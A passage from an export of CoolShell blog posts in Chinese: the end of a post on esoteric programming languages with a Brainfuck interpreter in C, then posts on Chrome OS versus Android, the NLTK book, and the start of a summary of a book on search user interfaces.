C语言（假设<code>ptr</code>是<code>char*</code>类型）：</p>\n<table border=\"0\">\n<tbody>\n<tr>\n<th>Brainfuck</th>\n<th>C</th>\n</tr>\n<tr>\n<td align=\"center\"><code>&gt;</code></td>\n<td><code>++ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>&lt;</code></td>\n<td><code>--ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>+</code></td>\n<td><code>++*ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>-</code></td>\n<td><code>--*ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>.</code></td>\n<td><code>putchar(*ptr);</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>,</code></td>\n<td><code>*ptr =getchar();</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>[</code></td>\n<td><code>while (*ptr) {</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>]</code></td>\n<td><code>}</code></td>\n</tr>\n</tbody>\n</table>\n<h4>BF解释器</h4>\n<p>因为 BrainFuck 只有八种指令，并且没有关键字，也不允许自定义标识符，因此它的编译器实现起来非常简单，初学 C 语言不久的人都可以自己编出来，尽管在座的各位每人都可以自己编一个，不过为了引起大家的兴趣，我这里还是给出大家一个官方发布的版本。这个程序只有短短 50 多行，并且完全由 ANSI C 写成，因此你随便找个 C 语言编译器，把它编译一下。</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;;\n\nint  p, r, q;\nchar a[5000], f[5000], b, o, *s=f;\n\nvoid interpret(char *c)\n{\n    char *d;\n\n    r++;\n    while( *c ) {\n        //if(strchr(\"&lt;&gt;;+-,.[]\\n\",*c))printf(\"%c\",*c);\n        switch(o=1,*c++) {\n            case '&lt;': p--;        break;\n            case '&gt;;': p++;       break;\n            case '+': a[p]++;     break;\n            case '-': a[p]--;     break;\n            case '.': putchar(a[p]); fflush(stdout); break;\n            case ',': a[p]=getchar();fflush(stdout); break;\n            case '[':\n                for( b=1,d=c; b &amp;&amp; *c; c++ )\n                b+=*c=='[', b-=*c==']';\n                if(!b) {\n                    c[-1]=0;\n                    while( a[p] )\n                    interpret(d);\n                    c[-1]=']';\n                    break;\n                }\n            case ']':\n                puts(\"UNBALANCED BRACKETS\"), exit(0);\n            case '#':\n                if(q&gt;;2)\n                printf(\"%2d %2d %2d %2d %2d %2d %2d %2d %2d %2d\\n%*s\\n\",\n                *a,a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8],a[9],3*p+2,\"^\");\n                break;\n            default: o=0;\n        }\n        if( p&lt;0 || p&gt;;100)\n            puts(\"RANGE ERROR\"), exit(0);\n    }\n    r--;\n    //        chkabort();\n}\n\nmain(int argc,char *argv[])\n{\n    FILE *z;\n\n    q=argc;\n\n    if(z=fopen(argv[1],\"r\")) {\n        while( (b=getc(z))&gt;;0 )\n            *s++=b;\n        *s=0;\n        interpret(f);\n    }\n}\n</pre>\n<p>当然，如果你觉得用C语言来实现BrainFuck语言的解释器是对BrainFuck这种语言的一种侮辱的话，我们的BrainFuck社区是绝对不能容忍你有这种想法的。因为我们有一个使用100%纯brainfuck写成的一个编译器<strong>awib</strong>：<a href=\"http://code.google.com/p/awib/\" target=\"_blank\">http://code.google.com/p/awib/ </a></p>\n<h4>Hello World</h4>\n<pre>++++++++++[&gt;+++++++&gt;++++++++++&gt;+++&gt;+&lt;&lt;&lt;&lt;-]\n&gt;++.&gt;+.+++++++..+++.&gt;++.&lt;&lt;+++++++++++++++.\n&gt;.+++.------.--------.&gt;+.&gt;.</pre>\n<p>怎么？看不懂吗？下面是解释：</p>\n<pre>+++ +++ +++ +           initialize counter (cell #0) to 10\n[                       use loop to set the next four cells to 70/100/30/10\n    &gt; +++ +++ +             add  7 to cell #1\n    &gt; +++ +++ +++ +         add 10 to cell #2\n    &gt; +++                   add  3 to cell #3\n    &gt; +                     add  1 to cell #4\n    &lt;&lt;&lt; &lt; -                 decrement counter (cell #0)\n]\n&gt;++ .                   print 'H'\n&gt;+.                     print 'e'\n+++ +++ +.              print 'l'\n.                       print 'l'\n+++ .                   print 'o'\n&gt;++ .                   print ' '\n&lt;&lt;+ +++ +++ +++ +++ ++. print 'W'\n&gt;.                      print 'o'\n+++ .                   print 'r'\n--- --- .               print 'l'\n--- --- --.             print 'd'\n&gt;+.                     print '!'\n&gt;.                      print '\\n'</pre>\n<p><strong>相关链接</strong>：</p>\n<ul>\n<li>BF的官网：<a href=\"http://www.muppetlabs.com/~breadbox/bf/\">http://www.muppetlabs.com/~breadbox/bf/</a>。</li>\n<li>BF的Wikipedia：<a href=\"http://en.wikipedia.org/wiki/Brainfuck\">http://en.wikipedia.org/wiki/Brainfuck</a>。</li>\n</ul>\n<h4>其它另类语言</h4>\n<p>如果你要觉得BF已经很BT了，那么你就错了，下面这些程序语言更BT。</p>\n<p><strong>WhiteSpace语言</strong></p>\n<p style=\"padding-left: 30px;\">这是一种只用空白字符（空格，TAB和回车）编程的语言，而其它可见字符统统为注释。下面是它的一个示例：</p>\n<p style=\"padding-left: 30px;\"> </p>\n<pre style=\"padding-left: 60px;\">  \t\t \t\n\t\n  \t\n  \n\t\n</pre>\n<p style=\"padding-left: 30px;\">什么？你什么也没有看见，这就对了，因为这正是这门语言的独特之处。访问下面这个链接查看<a href=\"http://compsoc.dur.ac.uk/whitespace/hworld.ws\" target=\"_blank\">Hello,World示例</a>。记得按Ctrl+A来查看程序。</p>\n<p style=\"padding-left: 30px;\">官网：<a href=\"http://compsoc.dur.ac.uk/whitespace/index.php\">http://compsoc.dur.ac.uk/whitespace/index.php</a>。</p>\n<p><strong>LOLCODE语言</strong></p>\n<p style=\"padding-left: 30px;\">LOLCODE是一种建立在高度缩写的网络英语之上的编程语言，一般来说如果一个人能理解这种网络英语就能在未经训练的情况下读懂LOLCODE程序源代码。下面是其Hello,World例程：</p>\n<pre style=\"padding-left: 60px;\">HAI\nCAN HAS STDIO?\nVISIBLE \"HAI WORLD!\"\nKTHXBYE</pre>\n<p style=\"padding-left: 30px;\">翻译成中文就是：</p>\n<pre style=\"padding-left: 60px;\">嗨\n我可以用 STDIO 么？\n显示一下 “HAI WORLD!”\n谢谢啊，再见</pre>\n<p style=\"padding-left: 30px;\"> </p>\n<p style=\"padding-left: 30px;\">官网：<a href=\"http://lolcode.com/\">http://lolcode.com/</a></p>\n<p><strong>中文编程语言</strong></p>\n<p style=\"padding-left: 30px;\">不要以为只有老外才那么BT，咱们中国也有自己的BT编程语言。</p>\n<p style=\"padding-left: 30px;\"><strong>中文Basic</strong></p>\n<table border=\"0\">\n<tbody>\n<tr>\n<td>中文指令</td>\n<td></td>\n<td>对应于的Applesoft BASIC</td>\n</tr>\n<tr>\n<td><tt>10 卜=0</tt></td>\n<td></td>\n<td><tt>10 Y=0</tt></td>\n</tr>\n<tr>\n<td><tt>20 <span>入</span> 水, 火</tt></td>\n<td></td>\n<td><tt>20 INPUT E, F</tt></td>\n</tr>\n<tr>\n<td><tt>30 <span>從</span> 日 = 水 <span>到</span> 火</tt></td>\n<td></td>\n<td><tt>30 FOR A = E TO F</tt></td>\n</tr>\n<tr>\n<td><tt>40 卜 = 卜+<span>對數</span>(日)</tt></td>\n<td></td>\n<td><tt>40 Y = Y + LOG (A)</tt></td>\n</tr>\n<tr>\n<td><tt>50 <span>下一</span> 日</tt></td>\n<td></td>\n<td><tt>50 NEXT A</tt></td>\n</tr>\n<tr>\n<td><tt>60 <span>印</span> 卜</tt></td>\n<td></td>\n<td><tt>60 PRINT Y</tt></td>\n</tr>\n</tbody>\n</table>\n<p style=\"padding-left: 60px;\">官网无法访问了，只能看看Wikipedia了：<a href=\"http://en.wikipedia.org/wiki/Chinese_BASIC\">http://en.wikipedia.org/wiki/Chinese_BASIC</a></p>\n<p style=\"padding-left: 30px;\"><strong>中蟒语言（中文Python）</strong></p>\n<p style=\"padding-left: 60px;\">下面的程序是不是很Cool？</p>\n<pre style=\"padding-left: 60px;\">#!/usr/local/bin/cpython\n回答 = 读入('你认为中文程式语言有存在价值吗 ? (有/没有)')\n如 回答 == '有':\n写 '好吧, 让我们一起努力!'\n不然 回答 == '没有':\n写 '好吧,中文并没有作为程式语言的价值.'\n否则:\n写 '请认真考虑后再回答.'</pre>\n<p style=\"padding-left: 60px;\">官网：<a href=\"http://www.chinesepython.org/cgi_bin/cgb.cgi/home.html\">http://www.chinesepython.org/</a></p>\n<p>差不多了，该结束了，再次说明，这是一篇很严肃的文章。</p>\n<p>(<strong>全文完</strong>)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4458.html\"><img alt=\"BT雷人的程序语言（大全）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4458.html\">BT雷人的程序语言（大全）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1142.html\">BT雷人的程序语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-12 关于 Chrome OS 的一些推论.html",
    "content": "<html><body><p>最近Chrome OS被炒作得火热。</p>\n<p>为什么还有一年后才发布的产品这么早会公布于众？其实不难想象，一个系统级别的产品的推行必须要跟很多OEM厂家谈合作。而你几乎不可能只是秘密地跟一个大公司的2-3个工程总监就能把这种合作谈定，而大多数的OEM公司，例如 DELL， Asus， Acer等这样的公司都不是技术为主导的，商业人士会很早参与意见和项目的计划，一旦知道的人多了，其实也没什么能保密的了。虽然，这样荒腔走板的发布很可能像伤害Android一样伤害Chrome OS。</p>\n<p>为什么Chrome OS和Android是如此独立的两个东西，看似又是在解决一个方向上的问题呢？其实也不难推测。<a href=\"http://www.businessweek.com/technology/content/aug2005/tc20050817_0949_tc024.htm\">Android是Google买下来的公司</a>，其带队的Andy Rubin肯定是个对移动设备的能力有远见的大佬，而Chrome浏览器的领袖 Linus Upson是做V8 Engine的，一定对云和未来的Web Apps有着更坚定的远景。当两个这样强势的团队在公司各自划定地盘以后，融合的可能性就相对小了。</p>\n<p><span id=\"more-1152\"></span><br/>\n另，人们对netbook的遐想自然会把所有可能的技术都考虑一遍，尤其是Android这样先进而开源的东西，自然会有把自己定位为先驱的生产商拿来尽早发布netbook产品占领口碑上的“技术制高点”，但是这是不是一定意味着Android在netbook上有一席之地，由市场决定。</p>\n<ul>\n<li>Android是为了更强大的移动设备：有耳朵，有眼睛，知道自己的方位和姿态，方便社交和更好的跟Google产品的融合。</li>\n<li>Chrome是为了更好的云端体验：手上的netbook设备启动几秒就能用，操作系统版本永远最新（<a href=\"http://www.techzoom.net/publications/silent-updates/\">安静地后台自动更新更安全</a>）换台机器登陆后，无需配置升级，所有的东西看起来都还一样，所有的东西为Web Apps加速，使人们不在感觉到操作系统的存在。</li>\n</ul>\n<p>总而言之，以下几个推论：</p>\n<ol>\n<li>Chrome OS上能不能用Android的Apps （store）？很可能，干嘛不？</li>\n<li>Chrome OS上能不能装浏览器？估计可以，但是有啥必要呢？</li>\n<li>Android上的浏览器会不会是Chrome?不太值得讨论，他们都基于webkit， 而且共用插件应该不困难，留给社区开发可能更合适</li>\n<li>Chrome OS会不会和Android合并?短时间不会，就像地线电话和手机一样，但是又有多大差别呢？</li>\n</ol>\n<p>两个可能赢的赛马，两个都赌的话……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3549.html\"><img alt=\"Android将允许纯C/C++开发应用\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2608.html\"><img alt=\"Google App Inventor \" height=\"150\" src=\"../wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1152.html\">关于 Chrome OS 的一些推论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-15 Python 自然语言处理.html",
    "content": "<html><body><p>推荐一本免费的在线电子书，《用Python进行自然语言处理》， 用<a href=\"http://www.google.com/search?hl=en&amp;q=nlp+toolkit+python\">NLP 工具包</a>（开源免费，Python）来进行文本分析。特别适合初学计算语言学的学生。好像没有好的中文切词。当然，免不了需要提一下 Dan Jurafsky 教授，大家可以搜索一下，找找他的讲义。</p>\n<p>简要翻译一下提纲：</p>\n<p><span id=\"more-1157\"></span></p>\n<p>（书的主站点：<a href=\"http://www.nltk.org/\">http://www.nltk.org/</a>）</p>\n<ul>\n<li>序言</li>\n<li>用Python进行语言处理</li>\n<li>使用文本语料库和辞典资源</li>\n<li>处理原始文本</li>\n<li>结构化变成</li>\n<li>词语的分类和标签</li>\n<li>学习文本分类</li>\n<li>从文本中信息抽取</li>\n<li>分析句法结构</li>\n<li>创建基于特征的语法</li>\n<li>分析句子的意思</li>\n<li>管理语言学数据</li>\n<li>后记：直面语言带来的挑战</li>\n</ul>\n<p>Natural Language Processing with Python<span style=\"font-size: x-small;\"><br/>\n— Analyzing Text with the Natural Language Toolkit</span></p>\n<p><span style=\"font-size: x-small;\">Steven Bird, Ewan Klein, and Edward Loper</span></p>\n<dl>\n<dd>0. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch00.html\" style=\"color: navy !important;\">Preface</a> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch00-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd>1. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch01.html\" style=\"color: navy !important;\">Language Processing and Python</a> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch01-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">2. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch02.html\" style=\"color: navy !important;\">Accessing Text Corpora and Lexical Resources</a></span></span> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch02-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">3. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch03.html\" style=\"color: navy !important;\">Processing Raw Text</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">4. </span></span><a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch04.html\" style=\"color: navy !important;\"><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">Writing Structured Programs</span></span></a> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch04-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">5. </span></span><a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch05.html\" style=\"color: navy !important;\"><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">Categorizing and Tagging Words</span></span></a></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">6. </span></span><a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch06.html\" style=\"color: navy !important;\"><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">Learning to Classify Text</span></span></a> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch06-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">7. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch07.html\" style=\"color: navy !important;\">Extracting Information from Text</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">8. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch08.html\" style=\"color: navy !important;\">Analyzing Sentence Structure</a></span></span> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch08-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">9. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch09.html\" style=\"color: navy !important;\">Building Feature Based Grammars</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">10. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch10.html\" style=\"color: navy !important;\">Analyzing the Meaning of Sentences</a></span></span> (<a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch10-extras.html\" style=\"color: navy !important;\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">11. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch11.html\" style=\"color: navy !important;\">Managing Linguistic Data</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">12. <a href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch12.html\" style=\"color: navy !important;\">Afterword: Facing the Language Challenge</a></span></span></dd>\n</dl>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1157.html\">Python 自然语言处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-16 （免费在线）新书推荐：搜索的用户界面.html",
    "content": "<html><body><p>题外话：剑桥大学出版社很有意思，允许作者把书的全部内容放在网上，例如：<a href=\"http://nlp.stanford.edu/~manning/\">Christopher D. Manning</a>, <a href=\"http://theory.stanford.edu/people/raghavan/\">Prabhakar Raghavan</a> and <a href=\"http://www-csli.stanford.edu/~hinrich\">Hinrich Schütze</a>,<a href=\"http://www-csli.stanford.edu/~hinrich/information-retrieval-book.html\"> </a><em><a href=\"http://www-csli.stanford.edu/~hinrich/information-retrieval-book.html\">Introduction to Information Retrieval</a></em>, Cambridge University Press. 2008.</p>\n<p>《<a href=\"http://searchuserinterfaces.com/book/\">搜索的用户界面</a>》的作者<a href=\"http://people.ischool.berkeley.edu/~hearst/\">Marti Hearst</a>是加州大学伯克利分校研究信息可视化的一位大儒，她有很多带有认知心理学加设计的尝试，在信息检索这门学科里的信息可视化领域很有地位。我斗胆把她的新书的梗概在这里描述一下，习惯看英文的朋友们可以点击链接去看英文原文，不喜欢看英文的朋友们可以有选择的看看我这里的总结，然后硬硬头皮，跳进去啃一些具体章节吧。本书可能收益的人有：对搜索有兴趣的学生，工业界做设计和评估的专业人士，对技术中的人本主义感兴趣的人，书痴。</p>\n<p><span id=\"more-1163\"></span></p>\n<blockquote><p>译文：<a href=\"http://searchuserinterfaces.com/book/sui_ch0_preface.html\">本书综述</a></p>\n<p>本书概括了信息寻找过程中人的方面，并专注于其中被用户界面可以支持的方面。本书描述一些用户界面的一般方法论，尤其是搜索的用户界面以及如何评估好的搜索界面。本书讨论了以下几个领域的研究成果和工业实践： 查询的界定，搜索结果的显示，搜索结果分组，信息内的浏览导航，用户重新界定查询，个人化的搜索，以及更广义上的信息使用和文本分析。大多数的讨论还是和网页搜索引擎相关，但是本书也照顾到了其他类型的搜索。如下章节：</p>\n<ol>\n<li>搜索界面的设计</li>\n<li>评估搜索界面</li>\n<li>信息搜寻的模型</li>\n<li>界定查询</li>\n<li>搜索结果的呈现</li>\n<li>用户重新界定搜索</li>\n<li>支持搜索过程的一些手段：搜索历史，在搜索结果中再搜索，帮助用户理解如何更好搜索</li>\n<li>整合浏览导航和搜索</li>\n<li>搜索过程中的个人化</li>\n<li>搜索界面的可视化（如何呈现搜索结果）</li>\n<li>文本分析中的可视化</li>\n<li>搜索界面中的一些新趋势</li>\n</ol>\n<div id=\"_mcePaste\">本书是以前98年一个经典书的扩充和更新：Modern Information Retrieval, Baeza-Yates and Ribeiro-Neto (Eds.), Addison Wesley</div>\n</blockquote>\n<p>本书是以前98年一个经典书的扩充和更新：<em>Modern Information Retrieval</em>, Baeza-Yates and Ribeiro-Neto (Eds.), Addison Wesley<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 